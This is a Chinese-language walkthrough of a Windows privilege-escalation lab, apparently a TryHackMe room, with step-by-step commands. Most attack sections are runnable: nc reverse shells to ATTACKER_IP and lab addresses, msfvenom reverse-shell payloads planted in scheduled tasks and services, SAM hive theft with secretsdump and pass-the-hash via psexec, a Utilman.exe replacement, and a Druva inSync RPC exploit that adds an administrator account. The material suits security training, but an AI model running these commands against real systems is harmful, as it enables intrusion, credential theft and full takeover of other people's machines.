文章目录
提权的目的是获取管理员权限。有以下方法进行windows提取:
一、Harvesting Passwords from Usual Spots
该小节将介绍一些在Windows系统上查找密码的已知位置。先回顾一下windows上的相关用户:
Windows 系统主要有两种类型的用户:
- 管理员(Administrators):这些用户拥有最多的权限。他们可以更改系统中的任何配置参数,并且能够访问系统中的任何文件。
- 标准用户(Standard Users):这些用户可以使用计算机,但只能执行有限的任务。通常,这些用户无法对系统做出永久性或关键性的更改,仅限于访问自己的文件。
还有一些操作系统使用的特殊内置账户:
SYSTEM / LocalSystem
:这是一个由操作系统用来执行内部任务的账户。它对主机上可用的所有文件和资源拥有完全访问权限,其权限甚至高于管理员。Local Service
:用于以“最小”权限运行Windows服务的默认账户,它会在网络上使用匿名连接。Network Service
:用于以“最小”权限运行Windows服务的默认账户,它会使用计算机的凭据通过网络进行身份验证。
1.1 Unattended Windows Installations
在大量主机上安装Windows时,管理员可能会使用Windows部署服务,该服务允许通过网络将单个操作系统镜像部署到多台主机上。这类安装被称为无人值守安装(Unattended Windows Installations),因为它们不需要用户交互。此类安装需要使用管理员账户来执行初始设置,而该设置可能会存储在以下位置:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
可能会遇到相关凭证,如下:
1.2 Powershell History
每当用户使用PowerShell
运行命令时,该命令会被存储到一个文件中,该文件会记录以前运行过的命令。如果用户在PowerShell
命令行中直接包含密码作为命令的一部分,那么稍后可以通过以下命令从cmd.exe
提示符中检索它:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
需要在cmd中运行。
1.3 Saved Windows Credentials
Windows凭据保存功能:Windows系统允许用户使用其他用户的凭据来运行程序或访问资源。为了方便用户,Windows 提供了一个功能,可以将这些凭据保存在系统中。这样,用户在后续需要使用这些凭据时,就不需要每次都手动输入用户名和密码。
使用如下命令列出所有已保存的凭据:
# 列出所有已保存的凭据
cmdkey /list
# 结果
## 输出的标题,表示下面列出的是系统中当前已保存的凭据。
Currently stored credentials:
## Target:表示凭据的目标类型和目标对象。
## Domain:interactive:表示这是一个用于交互式登录的域凭据。
## WPRIVESC1\mike.katz:这是凭据的目标对象,格式为域名\用户名。
Target: Domain:interactive=WPRIVESC1\mike.katz
## Type:表示凭据的类型。
## Domain Password:表示这是一个域密码凭据,用于登录到域或访问域资源。
Type: Domain Password
## User:表示凭据的用户名。
## WPRIVESC1\mike.katz:与Target中的用户名一致,表示这个凭据是用于用户mike.katz的。
User: WPRIVESC1\mike.katz
如果你需要利用这个已保存的凭据,可以使用runas
命令和/savecred
选项。例如:
# 尝试以 mike.katz 用户的身份运行命令提示符(cmd.exe)。
# 如果系统之前保存了该用户的凭据,命令提示符将以mike.katz用户的身份打开,而不需要你手动输入密码。
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe
1.4 IIS Configuration
Internet Information Services (IIS)
是Windows系统上的默认Web服务器。IIS 上网站的配置信息存储在一个名为web.config
的文件中,该文件可能会包含数据库的密码或配置的身份验证机制的凭据。根据安装的II 版本不同,web.config
文件可能位于以下位置之一:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
以下是一个快速查找该文件中数据库连接字符串的方法:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
1.5 Retrieve Credentials from Software: PuTTY
PuTTY
是一种在Windows系统上常见的SSH客户端。为了避免每次连接都需要指定连接参数,用户可以保存会话,其中 IP 地址、用户名和其他配置可以被存储以便后续使用。尽管 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包括明文身份验证凭据的代理配置。
为了检索已保存的代理凭据,可以在以下注册表项下搜索包含“Proxy”关键字的项,并查找“ProxyPassword”,使用以下命令:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
注意:
SimonTatham
是PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。在运行上述命令后,保存的代理用户名也应该可见。
1、A password for the julia.jones user has been left on the Powershell history. What is the password?
ZuperCkretPa5z
在cmd
中运行:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2、A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
3、There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.
cmdkey /list
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe
4、Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
SimonTatham
用户使用PuTTY ssh登录thom.smith
用户。上述命令查询到的就是PuTTY登录时保存的相关凭证信息。
二、其他方法
某些错误配置可能会让你获得更高权限用户的访问权限,甚至在某些情况下,还能获得管理员访问权限。
2.1 Scheduled Tasks
在目标系统中查看计划任务时,你可能会发现一个计划任务丢失了其可执行文件,或者它使用的是你可以修改的可执行文件。
可以通过命令行使用schtasks
命令来列出计划任务。要检索有关任何服务的详细信息,可以使用以下命令:
# 查 Windows系统中特定计划任务详细信息的命令
schtasks /query /tn <vulntask> /fo list /v
# schtasks:是Windows系统中用于管理计划任务的命令行工具,它可以用来创建、删除、查询和修改计划任务。
# query:该选项用于查询计划任务的信息。它会列出系统中当前配置的计划任务。
# /tn <TaskName>
## /tn:指定要查询的计划任务的名称。
# /fo list
## /fo:指定输出格式。
## list:以详细列表格式显示任务信息
# /v:该选项用于显示任务的详细信息,包括任务的描述、触发器、操作等。
对我们来说,重要的是
Task to Run
参数,它表明计划任务将执行的内容;Run As User
参数,它显示了将用于执行该任务的用户。
检查可执行文件的文件权限:
# 检查可执行文件的文件权限
icacls c:\tasks\schtask.bat
# 输出
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
c:\tasks\schtask.bat
:文件的路径,表示我们正在查看的文件是 C:\tasks\schtask.bat。NT AUTHORITY\SYSTEM:(I)(F)
- NT AUTHORITY\SYSTEM:这是Windows系统中的一个特殊账户,通常简称为SYSTEM。
- (I):表示权限是继承的(Inherited)。这意味着该权限是从父文件夹或对象继承而来的,而不是直接设置在该文件上的。
- (F):表示完全控制权限(Full Control)。这意味着SYSTEM账户可以读取、写入、修改、删除该文件,以及更改其权限。
BUILTIN\Administrators:(I)(F)
- BUILTIN\Administrators:这是 Windows 系统中的一个内置组,包含所有具有管理员权限的用户。这些用户通常可以对系统进行高级操作。
- (I):表示权限是继承的。
- (F):表示完全控制权限。这意味着Administrators组的成员可以对文件进行任何操作,包括修改和删除。
BUILTIN\Users:(I)(F)
- BUILTIN\Users:这是 Windows 系统中的一个内置组,包含所有普通用户。这些用户通常具有有限的权限,但可以访问自己的文件和某些系统资源。
- (I):表示权限是继承的。
- (F):表示完全控制权限。这意味着 Users 组的成员也可以对文件进行任何操作,包括修改和删除。
# 修改C:\tasks\schtask.bat文件,使其在执行时启动一个反向shell
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
# 手动触发Windows系统中特定计划任务
schtasks /run /tn <task_name>
1.3 AlwaysInstallElevated(windows安装文件)
Windows安装文件(也称为.msi
文件)用于在系统上安装应用程序。它们通常以启动它们的用户的权限级别运行。然而,这些文件可以被配置为从任何用户账户(即使是非特权账户)以更高权限运行。这可能会让我们生成一个恶意的MSI
文件,该文件将以管理员权限运行。
具体来说:AlwaysInstallElevated
漏洞:以普通用户身份运行MSI文件,由于AlwaysInstallElevated
被启用,恶意代码将以管理员权限执行。
判断AlwaysInstallElevated
是否被启用:
# 系统级和用户级配置均开启
## 用户级
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
## 系统级
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
具体实现:
# msf生成msi恶意文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
# 安装msi文件
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
## msiexec:Windows系统中用于安装、修改和卸载MSI文件的命令行工具。
## /quiet:该选项用于静默模式安装。在静默模式下,安装过程不会显示任何用户界面,也不会提示用户输入任何信息。
## /qn:也是用于静默模式安装,与 /quiet 类似。它确保安装过程中没有任何用户交互。/qn是/quiet的另一种写法,通常用于更详细的静默安装选项。
## /i:指定要安装的MSI文件路径。
What is the taskusr1 flag?
# 查看存在哪些计划任务
schtasks /query
# 查 Windows系统中特定计划任务详细信息
schtasks /query /tn vulntask /fo list /v
该计划任务的运行权限是管理员权限(以什么权限运行该文件),同时运行文件为C:\tasks\schtask.bat
# 查看可执行文件的权限,就是说谁可以执行
icacls c:\tasks\schtask.bat
Users
组中的用户具有完全运行权限,就是说都可以运行、修改等。
# 修改C:\tasks\schtask.bat文件,使其在执行时启动一个反向shell
echo c:\tools\nc64.exe -e cmd.exe 10.6.37.112 4444 > C:\tasks\schtask.bat
# kali监听4444端口
nc -lnvp 4444
# 手动触发Windows系统中特定计划任务
schtasks /run /tn vulntask
三、Abusing Service Misconfigurations
3.1 Windows服务
Windows服务由服务控制管理器(Service Control Manager,SCM) 管理。SCM
是一个负责按需管理服务状态的进程,它会检查任何给定服务的当前状态,并通常提供一种配置服务的方法。
在Windows系统中,每个服务都有一个关联的可执行文件,当服务启动时,SCM会运行这个可执行文件。需要注意的是,服务可执行文件实现了特殊的函数,以便能够与SCM进行通信,因此并非任何可执行文件都能成功作为服务启动。每个服务还会指定一个用户账户,用于运行该服务。
# 查看服务配置
sc qc <service_name>
# sc:Service Control 的缩写,是一个用于管理Windows服务的命令行工具。
# qc:Query Configuration 的缩写,表示查询服务的配置信息
我们可以看到服务的关联可执行文件是通过
BINARY_PATH_NAME
参数指定的,而用于运行服务的账户则显示在SERVICE_START_NAME
参数中。
服务有一个自由访问控制列表(Discretionary Access Control List,简称 DACL),它表明谁有权限启动、停止、暂停、查询状态、查询配置或重新配置服务等其他权限。GUI的话,需要使用process hacker才能查看服务的DACL权限。
所有服务的配置信息都存储在注册表的HKLM\SYSTEM\CurrentControlSet\Services
下。
系统中的每个服务都有一个子项。ImagePath
值中看到服务的关联可执行文件路径,以及在ObjectName
值中看到用于启动服务的账户。如果为服务配置了 DACL(自由访问控制列表),它将存储在一个名为Security
的子项中。默认情况下,只有管理员可以修改这些注册表项。
3.2 Insecure Permissions on Service Executable
如果与服务关联的可执行文件具有薄弱的权限,允许攻击者修改或替换它,那么攻击者可以轻松地获得该服务账户的权限。以WindowsScheduler
为例:
# 查看WindowsScheduler服务配置
sc qc WindowsScheduler
# 输出
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
WindowsScheduler
以svcuser1
用户身份运行,与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe
。
# 查看WService.exe的用户执行权限
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
## 输出
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Everyone
组对服务的可执行文件拥有修改权限(M)。这意味着我们可以简单地用我们选择的任何有效载荷(payload)覆盖它,而该服务将以配置的用户账户的权限执行它。
# 生成exe的反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.37.112 LPORT=4444 -f exe-service -o rev-svc.exe
# 开启http服务
python3 -m http.server
wget http://10.6.37.112:8000/rev-svc.exe -O rev-svc.exe
需要在
powershel
中运行wget
命令
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
# 修改WService.exe文件的权限,Everyone组的成员将能够对该文件进行任何操作。
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
# 监听端口
nc -lvnp 4444
# 重启服务
sc stop windowsscheduler
sc start windowsscheduler
3.3 未加引号的服务路径
在处理Windows服务时,当服务被配置为指向一个"未加引号"的可执行文件时,会出现一种非常特定的行为。所谓“未加引号”,我们的意思是关联可执行文件的路径没有被正确地用引号括起来,以考虑命令中的空格。
举个例子,让我们看看两个服务之间的区别(这些服务仅用作示例,可能在你的机器上并不可用)。第一个服务将使用正确的引号,以便服务控制管理器(SCM)毫无疑问地知道它必须执行由“C:\Program Files\RealVNC\VNC Server\vncserver.exe”
指向的二进制文件,然后是给定的参数。
# 示例1
sc qc "vncserver"
# 输出
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# 示例2
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
当运行第二个服务时,可能会出现这三种情况:
Command | Argument 1 | Argument 2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
当发送一个命令时,空格被用作参数分隔符,除非它们是引号字符串的一部分。这意味着对于未加引号的命令,“正确”的解释是执行 C:\MyPrograms\Disk.exe
,并将剩余部分作为参数。
然而,服务控制管理器(SCM)并没有像它本应该那样失败,而是试图帮助用户,并按照表中显示的顺序开始搜索每个可执行文件:
- 首先,搜索
C:\MyPrograms\Disk.exe
。如果该文件存在,服务将运行这个可执行文件。 - 如果前者不存在,它将接着搜索
C:\MyPrograms\Disk Sorter.exe
。如果该文件存在,服务将运行这个可执行文件。 - 如果前者仍然不存在,它将接着搜索
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
。这个选项预计会成功,并且通常会在默认安装中运行。
如果攻击者创建了在预期服务可执行文件之前被搜索到的任何可执行文件,他们就可以迫使服务运行一个任意的可执行文件。然而,大多数服务可执行文件默认情况下都会安装在C:\Program Files
或 C:\Program Files (x86)
下,这些位置对于非特权用户来说是不可写的。这阻止了任何易受攻击的服务被利用。然而,也有例外情况:
- 一些安装程序会更改安装文件夹的权限,从而使服务变得易受攻击。
- 管理员可能会决定将服务可执行文件安装在非默认路径下。如果这样的路径对所有人都是可写的,那么这个漏洞就可以被利用。
# 查看c:\MyPrograms的权限情况
icacls c:\MyPrograms
BUILTIN\Users
组具有AD和WD权限;
- AD:表示“追加数据”权限,这种权限允许用户在目录中创建新的子目录。
- WD:表示“写入数据”权限,这种权限允许用户在目录中创建新的文件。
# 生成反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.37.112 LPORT=4444 -f exe-service -o rev-svc2.exe
# 开启http服务
python3 -m http.server
# 下载反弹shell,powershell中
wget http://10.6.37.112:8000/rev-svc2.exe -O rev-svc2.exe
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
# 赋予权限,所有人都可以执行
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
# 重启服务,在cmd中运行
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
cd C:\Users\svcusr2/Desktop
type flag.txt
3.4 Insecure Service Permissions
即使服务的可执行文件DACL(自由访问控制列表)配置得当,且服务的二进制路径正确地加了引号,你仍然可能有机会利用该服务。如果服务的 DACL(不是服务的可执行文件 DACL)允许你修改服务的配置,那么你将能够重新配置该服务。这将使你能够指向任何你需要的可执行文件,并以你选择的任何账户运行它,包括 SYSTEM 本身。
要从命令行检查服务的DACL,你可以使用Sysinternals
套件中的 Accesschk工具。检查thmservice
服务DACL 的命令为:
# 检查thmservice服务DACL
accesschk64.exe -qlc thmservice
# -q:该选项用于静默模式,减少输出信息,只显示关键的访问控制信息。
# -l:该选项用于列出对象的访问控制列表(ACL)。
# -c:该选项用于检查对象的 DACL(自由访问控制列表)
BUILTIN\Users
组具有SERVICE_ALL_ACCESS
权限,这意味着任何用户都可以重新配置该服务。
# 生成反弹shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.37.112 LPORT=4444 -f exe-service -o rev-svc3.exe
# 开启http服务
python3 -m http.server
# 下载反弹shell,powershell中
wget http://10.6.37.112:8000/rev-svc3.exe -O rev-svc3.exe
# 赋予权限,所有人都可以执行
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
# 修改THMService服务配置
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
# sc:Windows系统中用于管理服务的命令行工具。
# config:sc的一个子命令,用于修改服务的配置。
# binPath:指定服务的可执行文件路径,路径必须用双引号括起来,特别是路径中包含空格时。
# obj:用于指定服务运行的用户账户。LocalSystem是一个特殊的系统账户,具有非常高的权限,几乎可以对系统进行任何操作。
# 在命令行中重启服务
sc stop THMService
sc start THMService
四、Abusing dangerous privileges
4.1 Windows Privileges
权限是账户执行特定系统相关任务的权利。这些任务可以简单到关机的权限,也可以复杂到绕过基于 DACL(自由访问控制列表)的访问控制的权限。每个用户都有一组分配的权限,可以通过以下命令进行检查:
whoami /priv
在Priv2Admin中找到一份全面的可利用权限列表。
4.2 SeBackup/SeRestore
SeBackup
和SeRestore
权限允许用户读取和写入系统中的任何文件,忽略任何现有的DACL
(自由访问控制列表)。这种权限的设计初衷是允许某些用户在不需要完全管理员权限的情况下,从系统中执行备份操作。
Backup Operators 组,默认情况下该组被授予了SeBackup和SeRestore权限。
首先,在ubuntu上使用xfreerdp
远程连接windows靶机:
xfreerdp /v:10.10.21.27 /u:THBackup
# 密码为:CopyMaster555
# 查看当前用户的权限
whoami /priv
当前用户不具备SeBackup
和SeRestore
权限。
但是Backup Operators
组,默认情况下被授予了SeBackup
和SeRestore
权限,使用下面的命令查看当前用户是否是Backup Operators
组成员:
Get-LocalGroupMember -Group "Backup Operators" | Select-Object Name
# or,输出出现S-1-5-32-551即证明当前用户是Backup Operators组成员
whoami /groups | findstr "S-1-5-32-551"
# 备份sam和system hash
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
使用impacket
中的smbserver.py
在Linux系统上开启SMB服务,来将system.hive
和sam.hive
传输到ubuntu上。
# 在linux上开启SMB服务,创建一个名为public的共享文件夹,指向share目录
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
# -smb2support:启用对SMBv2协议的支持,这使得服务器能够与支持SMBv2的客户端进行通信。
# public:指定共享文件夹的名称为 public。这表示客户端可以通过SMB协议访问名为public 的共享文件夹。
# share:指定共享文件夹的路径为share。这表示实际共享的文件夹位于本地路径share下
将system.hive
和sam.hive
传输到ubantu上:
copy C:\Users\THMBackup\sam.hive \\10.10.222.58\public\
copy C:\Users\THMBackup\system.hive \\10.10.222.58\public\
.\public\
其实就是对应share
文件夹
从本地的SAM
和SYSTEM
注册表文件中提取用户哈希(密码哈希)
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
# -sam sam.hive:指定SAM注册表文件的路径。SAM文件包含用户的密码哈希。
# -system system.hive:指定SYSTEM注册表文件的路径。SYSTEM文件包含系统配置信息,包括加密密钥等。
# LOCAL:指定目标为本地系统。
# hash传递,LM hash和NTLM hash都要
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.21.27
4.2 SeTakeOwnership
SeTakeOwnership
权限允许用户获取系统上任何对象的所有权,包括文件和注册表项。比如:有一个文件C:\important\file.txt
,其所有者是SYSTEM
。具有SeTakeOwnership
权限的用户可以将自己设置为该文件的所有者,从而获得对该文件的完全控制权限。
使用xfreerdp
连接windows靶机:
xfreerdp /v:10.10.21.27 /u:THMTakeOwnership /p:TheWorldIsMine2022
查看当前用户权限,不具有SeTakeOwnership
权限。
whoami /priv
这里将利用utilman.exe
来提升权限。Utilman
是Windows系统中一个内置的应用程序,用于在锁屏状态下提供“辅助功能”选项。
由于Utilman
是以SYSTEM
权限运行的,因此如果我们用我们喜欢的任何有效载荷替换原始可执行文件,我们将有效地获得SYSTEM
权限。为了替换 Utilman
,首先将使用以下命令获取它的所有权:
# 获取Utilman的所有权
takeown /f C:\Windows\System32\Utilman.exe
# takeown:是一个Windows命令行工具,用于将文件或目录的所有权转移给当前用户。默认情况下,它将文件或目录的所有权设置为当前用户。
# /f:用于指定目标文件或目录的路径。
请注意,拥有文件的所有权并不一定意味着你对该文件拥有权限,但作为所有者,你可以给自己分配所需的任何权限。要授予对utilman.exe
的完全权限,可以使用以下命令:
# 将权限分配给当前用户
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
在 C:\Windows\System32
下,用cmd.exe
替换Utilman.exe
:
C:\Windows\System32\> copy cmd.exe utilman.exe
锁屏之后,点击Ease of Access
即可实现提权
4.3 SeImpersonate/SeAssignPrimaryToken
4.3.1 模拟权限
SeImpersonate/SeAssignPrimaryToken
权限允许一个进程模拟其他用户,并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文中启动进程或线程。
假设有一个 FTP 服务器,它以用户ftp
的身份运行。用户Ann
和Bill
都有自己的文件夹,分别存储在/home/Ann
和/home/Bill
中。FTP 服务器需要处理用户的认证和授权,确保每个用户只能访问自己的文件。
-
没有模拟权限的情况
FTP服务以ftp用户身份运行:
- ftp 用户对
/home/Ann
和/home/Bill
目录具有读取权限。 - 用户
Ann
登录到FTP
服务,FTP
服务使用ftp
用户的访问令牌访问/home/Ann
目录。 - 用户
Bill
登录到FTP
服务,FTP
服务使用ftp
用户的访问令牌访问/home/Bill
目录。
问题:
- 如果 ftp 用户的访问令牌被攻破,攻击者可以访问/home/Ann和/home/Bill目录中的所有文件。
- FTP服务需要自行实现授权机制,确保用户只能访问自己的文件。
- ftp 用户对
-
使用模拟权限的情况
FTP服务以ftp用户身份运行,但具有
SeImpersonate
权限:- 用户
Ann
登录到 FTP 服务,FTP 服务借用Ann
的访问令牌。
FTP 服务使用Ann
的访问令牌访问/home/Ann
目录。 - 用户Bill登录到FTP服务,FTP服务借用Bill 的访问令牌。
FTP 服务使用Bill的访问令牌访问/home/Bill
目录
- 用户
在Windows系统中,你会发现LOCAL SERVICE
和NETWORK SERVICE
账户已经具有这样的权限。由于这些账户用于以受限账户启动服务,因此如果服务需要,允许它们模拟连接的用户是合理的。Internet Information Services(IIS)
还将为Web应用程序创建一个类似的默认账户,名为iis apppool\defaultapppool
。
要利用这样的账户提升权限,攻击者需要以下条件:
- 启动一个进程,以便用户可以连接并认证到它,以便发生模拟。
- 找到一种方法,迫使特权用户连接并认证到启动的恶意进程。
4.3.2 RogueWinRM攻击
1、BITS服务的特性
BITS(Background Intelligent Transfer Service)
是Windows系统中的一个服务,用于在后台高效地传输文件。它通常用于自动更新、软件分发等任务。
关键特性:当任何用户(包括非特权用户)启动BITS
服务时,该服务会自动以SYSTEM
权限创建一个到5985
端口的连接。这是因为BITS
服务需要与WinRM
服务进行通信,而WinRM
服务通常监听在5985
端口上。
2、WinRM 服务
WinRM(Windows Remote Management)
是一个用于远程管理Windows系统的服务,它允许用户通过网络远程执行命令。
默认端口:WinRM
服务通常监听在5985
端口(HTTP)和5986
端口(HTTPS)上。
3、RogueWinRM攻击思路
如果目标服务器上的WinRM
服务没有运行,攻击者可以在5985
端口上启动一个伪造的WinRM
服务。当BITS
服务启动时,它会尝试连接到5985
端口,攻击者可以捕获这个连接并利用它。
4、RogueWinRM攻击关键步骤
- 启动伪造的
WinRM
服务:攻击者在目标机器上启动一个伪造的WinRM
服务,监听在5985端口上。 - 捕获连接:当
BITS
服务启动时,它会尝试连接到5985端口。攻击者可以捕获这个连接,并获取连接用户的访问令牌。 - 利用
SeImpersonate
权限:如果攻击者具有SeImpersonate
权限,可以使用捕获的访问令牌来模拟连接的用户(通常是 SYSTEM 用户)。 - 执行命令:攻击者可以以
SYSTEM
权限执行任意命令,从而实现提权。
核心:在RogueWinRM攻击中,当BITS服务连接到伪造的WinRM服务时,会以SYSTEM权限触发服务的进程。
我们将使用RogueWinRM
攻击来实现这两个条件。假设我们已经入侵了一个运行在IIS
上的网站,并且我们在以下地址放置了一个webshell
:
http://10.10.32.11/
可以看到当前用户具有SeImpersonate
权限:
# 攻击机监听4444
nc -lvp 4444
# 启动伪造的 WinRM 服务
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.106.144 4444"
# -p:指定要执行的可执行文件路径。
# -a:指定传递给可执行文件的参数。
五、Abusing vulnerable software
5.1 Unpatched Software
安装在目标系统上的软件可能会带来各种提权机会。可以使用wmic
工具列出目标系统上安装的软件及其版本。
# 检查目标系统上安装的软件及其版本
wmic product get name,version,vendor
请记住:
wmic product
命令可能不会返回所有已安装的程序。
5.1.1 Case Study: Druva inSync 6.6.3
目标服务器正在运行Druva inSync 6.6.3
,该版本存在提权漏洞。该软件之所以存在漏洞,是因为它以 SYSTEM 权限在 6064 端口上运行了一个 RPC
(远程过程调用)服务器,该服务器仅可以从本地主机访问。
RPC
是一种允许一个程序(客户端)通过网络请求另一个程序(服务器)执行某个过程(或函数)的机制。RPC 的核心思想是让网络上的远程过程调用像本地过程调用一样简单和透明。
在Druva inSync
的情况下,6064 端口上公开的一个过程(具体来说是过程编号 5)允许任何人请求执行任何命令。由于RPC服务器以 SYSTEM 权限运行,因此任何命令都将具有 SYSTEM 权限执行。
最初在6.5.0及更早版本中报告的漏洞允许无限制地运行任何命令。提供这种功能的最初想法是为了远程执行与inSync一起提供的某些特定可执行文件,而不是任何命令。然而,没有进行检查以确保这一点。
随后发布了一个补丁,他们决定检查要执行的命令是否以字符串 C:\ProgramData\Druva\inSync4\
开头,允许的可执行文件应该位于该路径下。但随后证明这还不够,因为你可以简单地通过路径遍历攻击来绕过这种控制。假设你想执行 C:\Windows\System32\cmd.exe
,它不在允许的路径中;你可以简单地要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
,这将成功绕过检查。
为了构建一个有效的攻击,需要了解如何与6064
端口进行通信。幸运的是,所使用的协议非常简单,要发送的数据包在下图中进行了描述:
第一个数据包只是一个包含固定字符串的“打招呼”数据包。第二个数据包表明我们想要执行编号为5的过程,因为这是存在漏洞的过程,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串。原始攻击代码如下:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
将$cmd
改为:
# 创建一个名为pwnd的用户,密码为SimplePass123,并将该用户添加到管理员组
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
# 执行文件
Invoke-Expression (Get-Content -Path "C:\tools\Druva_inSync_exploit.txt" -Raw)
# Get-Content -Path "C:\tools\Druva_inSync_exploit.txt":读取文件内容。
# -Raw:将文件内容作为一个单一的字符串读取,而不是逐行读取。
# Invoke-Expression:执行读取到的字符串内容。
# 查看用户pwnd详细信息
net user pwnd
使用管理员权限登录powershell,并用pwnd用户登录,得到flag
六、相关提权工具
6.1 WinPEAS
WinPEAS是一个用于枚举目标系统以发现提权路径的脚本。最好始终将输出重定向到文件中,如下所示:
winpeas.exe > outputfile.txt
6.2 PrivescCheck
PrivescCheck是一款PowerShell脚本,它用于在目标系统上查找常见的提权漏洞。它提供了一种替代WinPEAS的方法,而无需执行二进制文件。
在目标系统上运行
PrivescCheck
